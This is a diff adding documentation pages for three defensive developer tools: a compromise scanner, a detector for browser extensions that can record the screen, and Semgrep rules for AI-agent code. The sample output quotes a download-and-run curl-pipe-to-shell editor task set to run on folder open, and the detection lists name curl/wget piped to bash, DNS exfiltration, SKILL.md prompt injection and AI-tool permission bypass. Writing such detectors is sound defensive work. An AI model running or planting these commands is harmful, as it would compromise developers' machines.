Use the Jujutsu (jj) version-control system safely as an agent. Use when a repository has a .jj directory, or git shows a detached HEAD in a colocated repository. Non-interactive commands, rules learned from real agent failures, and recovery from divergent history. Version-stamped against jj 0.43.0.

+ +
npx skills add IsaacBell/secure-devtools --skill jujutsu
+

Read jujutsu/SKILL.md

+
+ +
+
+ + + + + diff --git a/docs/tools/am-i-being-recorded/index.html b/docs/tools/am-i-being-recorded/index.html new file mode 100644 index 0000000..df7034b --- /dev/null +++ b/docs/tools/am-i-being-recorded/index.html @@ -0,0 +1,213 @@ + + + + + +am-i-being-recorded: find which browser extension is recording your screen + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

am-i-being-recorded

+ +
+

am-i-being-recorded is a command-line tool that names the browser extension behind a screen-recording indicator. macOS only tells you which app is recording; npx am-i-being-recorded reads Chrome, Brave, Edge, Chromium and Vivaldi profiles and flags each extension that can capture the display or a tab, with its ID, version and profile. It also lists which apps hold camera, microphone and screen-recording permission.

+
+

Install and run

+
npx am-i-being-recorded                       # every detected browser profile
+npx am-i-being-recorded --min-severity HIGH   # only the loud findings
+npx am-i-being-recorded --strict              # exit 1 on any finding
+

Needs jq. Short alias: aibr. It reads local files and process lists, and makes no network calls.

+ +

What it detects

+
+ + + + + + + + + +
Extension permissionSeverityWhy
desktopCaptureCRITICALCan record the entire display
tabCaptureHIGHCan record the active tab's audio and video
debuggerHIGHFull tab control over the DevTools protocol
nativeMessagingMEDIUMCan launch a native helper process
userScriptsMEDIUMCan inject scripts into pages
managementLOWCan enable or disable other extensions
+

Escalations: display capture plus access to every site, and any capture permission plus an offscreen document, which lets a stream outlive the tab that started it.

+

Live context on macOS: whether screensharingd and replayd are running, and which apps hold camera, microphone and screen-recording grants, each with its code signer and Team ID. On Linux: which process holds a /dev/video* camera. These lines are context, not findings.

+ +

Exit codes

+

Default mode is evidence: findings are printed and the exit status is 0. --strict makes any reported finding exit 1.

+ +

What it does not do

+
    +
  • It reports capability, not proof of an active stream.
  • +
  • Safari and Firefox extensions, standalone recorder apps, and a page's own screen-share prompt are out of scope.
  • +
  • macOS screen-recording grants need root or Full Disk Access to read; the tool says when it cannot.
  • +
  • It is not a malware scanner.
  • +
+ +

Facts

+

Plain bash, zero npm runtime dependencies, MIT licensed. Source: apps/am-i-being-recorded.

+
+ +
+
+ + + + + diff --git a/docs/tools/am-i-hacked/index.html b/docs/tools/am-i-hacked/index.html new file mode 100644 index 0000000..077c845 --- /dev/null +++ b/docs/tools/am-i-hacked/index.html @@ -0,0 +1,279 @@ + + + + + +am-i-hacked: scan a project, and your machine, for malicious code before you run it + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

am-i-hacked

+ +
+

am-i-hacked is a command-line scanner that checks the code you are about to run, and the machine you run it on, for signs of a supply-chain or dev-environment attack. npx am-i-hacked scans the current folder; --system also audits the machine. It is read-only, makes no network calls, needs no account, and exits 1 on findings. It is not antivirus: a clean result means no warning signs were found.

+
+

Who it is for

+
    +
  • Developers about to run a repository they did not write: a take-home test, a contributor's branch, a template, code an AI agent produced.
  • +
  • Teams that want a pre-run gate in a dev script or CI, next to their advisory scanner.
  • +
  • Anyone who suspects their own development machine has been tampered with.
  • +
+ +

Install and run

+
npx am-i-hacked                # scan the folder you are in
+npx am-i-hacked path/to/repo   # scan another folder
+npx am-i-hacked --system       # also check this machine
+npm install --save-dev am-i-hacked
+
+ + + + + +
ScanNeeds
Folderbash 4.2+, ripgrep (rg), and jq for package.json scripts
System (--system)bash 3.2+ and jq. Read-only; no ripgrep, root or sudo
+

macOS ships bash 3.2, so the folder scan re-runs itself under a newer bash when one is installed (Homebrew, mise, nix, asdf, MacPorts) and otherwise says what to install. Get the rest with brew install ripgrep jq or apt-get install ripgrep jq.

+ +

What the folder scan detects

+
    +
  • Dynamic code execution, child processes, direct network module access and runtime global mutation.
  • +
  • Encoded or obfuscated payloads and unusually long lines.
  • +
  • package.json scripts using curl, wget, powershell, child_process, node -e, base64 or eval.
  • +
  • Editor config that runs code on folder open, and download-and-run commands in editor config.
  • +
  • Executable payloads disguised as asset files.
  • +
  • Clipboard, keystroke or screen capture paired with an exfiltration endpoint.
  • +
  • .env files in the git index.
  • +
  • Official Yarn releases, verified by SHA256.
  • +
  • The folder's AI-tool config: .claude/settings*.json and .mcp.json.
  • +
  • Python virtualenv integrity: files that no longer match their package RECORD hashes, files no package owns, and .pth or startup hooks that run code. Next release.
  • +
+

Languages read: JS/TS, Python, Rust, Ruby, C, C++ and C#. Dot-directories and tracked files that .gitignore matches are read; node_modules and .git are skipped. In bundled output (webpack, esbuild, ncc) only high-signal patterns are reported.

+ +

What the system scan detects

+
    +
  • Login persistence: launchd on macOS; systemd user units and XDG autostart on Linux; the user crontab. On macOS, the code signature and Team ID of what each item launches.
  • +
  • Shell startup files: piped remote scripts, injected libraries, hijacked sudo or ssh, background launchers, redirected AI API base URLs, proxies and extra certificate authorities.
  • +
  • User-level and managed AI-tool config for Claude Code, Codex, Cursor, Gemini CLI, OpenCode and Kilo Code: permission bypass, plain-text keys, MCP servers that run unpinned code, and hooks.
  • +
  • Running processes that run capture scripts or scripts from staging areas.
  • +
  • "Dark corners" where tooling installs code outside any project, such as virtualenvs, package-manager caches and language bin folders. Next release.
  • +
+ +

Example output

+
am-i-hacked: FAILED — 2 findings across 1 file
+
+  .vscode/tasks.json:7
+    "command": "curl -fsSL https://example.test/setup.sh | sh",
+    → Download-and-run command in editor config
+
+  .vscode/tasks.json:8
+    "runOptions": { "runOn": "folderOpen" }
+    → Editor auto-run task
+ +

Dev scripts and CI

+
{ "scripts": { "dev": "am-i-hacked && next dev" } }
+
# GitHub Actions, ubuntu-latest (has bash, jq and npx, not ripgrep)
+- run: sudo apt-get install -y ripgrep
+- run: npx am-i-hacked@2
+ +

Flags

+
+ + + + + + + + + +
FlagMeaning
<dir>Directory to scan (default: the current directory)
host [dir]Check only a folder's AI-tool config
--system, --full-system-scanAlso audit the whole machine
--max-findings NMaximum findings printed (default 1000; the true total is always shown). Next release.
-v, --verboseSystem scan: also list informational items and every persistence entry with its signer
-h, --helpShow usage
+ +

Exit codes

+

0 nothing found; 1 findings to review (HIGH or MEDIUM) or a missing requirement; 2 usage error.

+ +

Suppressing a reviewed finding

+

Add am-i-hacked-ignore: <reason> on the flagged line or the line before it. The reason is required, and suppressed findings are listed on every run. The older am-i-compromised-ignore: spelling still works. For the system scan, add <finding id> | <reason> to ~/.config/am-i-hacked/host-allow.txt.

+ +

safe-pull

+

Installed with the package. It fetches, inspects incoming commits before anything is written to disk, then fast-forwards: rewritten upstream history, author and committer mismatch, editor auto-run tasks, download-and-run editor commands, disguised payloads, committed .env files. safe-pull --dry-run inspects only.

+ +

What it does not do

+
    +
  • It is not antivirus and does not look up known viruses or malware hashes.
  • +
  • It does not check dependency versions against vulnerability advisories, and does not scan node_modules.
  • +
  • It does not judge plain-language instructions aimed at an AI agent.
  • +
  • System-wide Linux units and /etc/cron.* are not covered yet.
  • +
  • Some checks flag ordinary code, such as eval. A clean result does not prove the code or machine is safe.
  • +
+ +

Facts

+
    +
  • Formerly published as am-i-compromised; that command name, and the short forms aih and aic, still work.
  • +
  • Commands installed: am-i-hacked, aih, am-i-compromised, aic, security-gate, scanner, safe-pull.
  • +
  • Plain bash, zero npm runtime dependencies, MIT licensed. Source: apps/am-i-hacked. Changelog: CHANGELOG.md.
  • +
+
+ +
+
+ + + + + diff --git a/docs/tools/index.html b/docs/tools/index.html new file mode 100644 index 0000000..2bf25ed --- /dev/null +++ b/docs/tools/index.html @@ -0,0 +1,129 @@ + + + + + +Tools: am-i-hacked, am-i-being-recorded and secure-semgrep — secure-devtools + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

Tools

+

Three command-line tools for macOS and Linux. Each runs with npx, needs no account, and exits non-zero on findings.

+
+
+

am-i-hacked

am-i-hacked is an open-source indicator-of-compromise scanner for developers. It checks a project folder for malicious-code indicators before you open, install or run it, and with --system audits a macOS or Linux machine for persistence, capture tools and risky AI-tool config.

+

am-i-being-recorded

am-i-being-recorded names the Chromium-family browser extension behind a screen-recording indicator, and lists what else on a macOS or Linux machine can capture your screen, camera or microphone.

+

secure-semgrep

secure-semgrep is a thin Semgrep CLI that runs bundled security rules for AI and LLM agent code, MCP servers, agent hooks, SKILL.md files, bash scripts and SSRF, plus Semgrep's maintained registry packs, in one command locally or in CI.

+
+
+
+ + + + + diff --git a/docs/tools/secure-semgrep/index.html b/docs/tools/secure-semgrep/index.html new file mode 100644 index 0000000..1330227 --- /dev/null +++ b/docs/tools/secure-semgrep/index.html @@ -0,0 +1,231 @@ + + + + + +secure-semgrep: Semgrep security rules for AI-agent code, shell scripts and SSRF + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+

secure-semgrep

+ +
+

secure-semgrep runs Semgrep with bundled security rules for AI-agent code, shell scripts and server-side requests, plus Semgrep's maintained rule packs for the languages you use, in one command: npx secure-semgrep ./src. It needs semgrep installed and exits 1 on findings.

+
+

Install and run

+
npx secure-semgrep ./src                       # ai + bash rules, p/default, p/security-audit
+npx secure-semgrep -L react -L node -L py .    # add packs for your stack
+npx secure-semgrep -L ssrf .                   # opt in to the SSRF rules
+npx secure-semgrep -e .                        # review mode: report, exit 0
+npx secure-semgrep -N .                        # bundled rules only, no registry packs
+

Needs semgrep 1.0+ (brew install semgrep or pipx install semgrep) and bash 4+. SEMGREP_BIN overrides the semgrep on PATH.

+ +

Bundled rules

+

AI and agent code (rules/ai)

+
    +
  • Model provider SDKs (OpenAI, Anthropic, Gemini, Cohere, Mistral, Hugging Face): hardcoded API keys, user input in the system prompt, no max-tokens limit, missing refusal, moderation or safety checks.
  • +
  • Model output passed to code execution; LangChain dangerous execution; unbounded agent loops.
  • +
  • MCP servers: command injection, credentials in responses, SSRF, tool poisoning, typosquatted tool names.
  • +
  • Claude Code settings that bypass permissions, auto-enable MCP servers or override the API URL; editor settings that point at an executable; hidden Unicode in AI config.
  • +
  • Agent hooks: wget | bash, DNS exfiltration, path traversal, sensitive-file access, unconditional allow.
  • +
  • SKILL.md files: prompt injection, data exfiltration, sensitive-file access, base64 payloads.
  • +
+

Shell (rules/bash)

+

curl | bash, curl ... | eval, IFS tampering, persistence installs and unquoted-expansion footguns.

+

SSRF (rules/ssrf, opt-in with -L ssrf)

+

A request whose URL is not a fixed string and does not pass through a guard function; a client that follows redirects automatically for such a URL; TLS verification turned off. JavaScript/TypeScript, Python and Rust. All are warnings.

+ +

Loadouts

+
+ + + + + + + + + + + +
LoadoutSemgrep config
ai, bashBundled, always on
ssrfBundled, opt-in
pyp/python
js, tsp/javascript, p/typescript
reactp/typescript + p/javascript + p/react
nodep/javascript + p/nodejs
rustp/rust
allEvery pack-based loadout
+

Registry packs are fetched from the Semgrep registry at scan time, so they are not vendored into the package. secure-semgrep pack -L react shows what a scan will load; secure-semgrep check validates the bundled rules.

+ +

CI

+
- run: pipx install semgrep
+- run: npx secure-semgrep -L react -L node .
+ +

Exit codes

+

0 no findings, or review mode (-e); 1 findings; 2 usage error. Other codes pass through from Semgrep.

+ +

What it does not do

+
    +
  • It is static analysis: it matches code patterns and does not run the code. A finding is a question, not a verdict.
  • +
  • It does not look for malware indicators such as auto-run editor tasks or disguised payloads; that is am-i-hacked's job.
  • +
  • Registry packs need network access to the Semgrep registry. Use -N for bundled rules only, and Semgrep's own --metrics option (pass it after --) to control Semgrep's telemetry.
  • +
+ +

Facts

+

Plain bash wrapper with zero npm runtime dependencies, MIT licensed. Source and rules: apps/secure-semgrep.

+
+ +
+
+ + + + +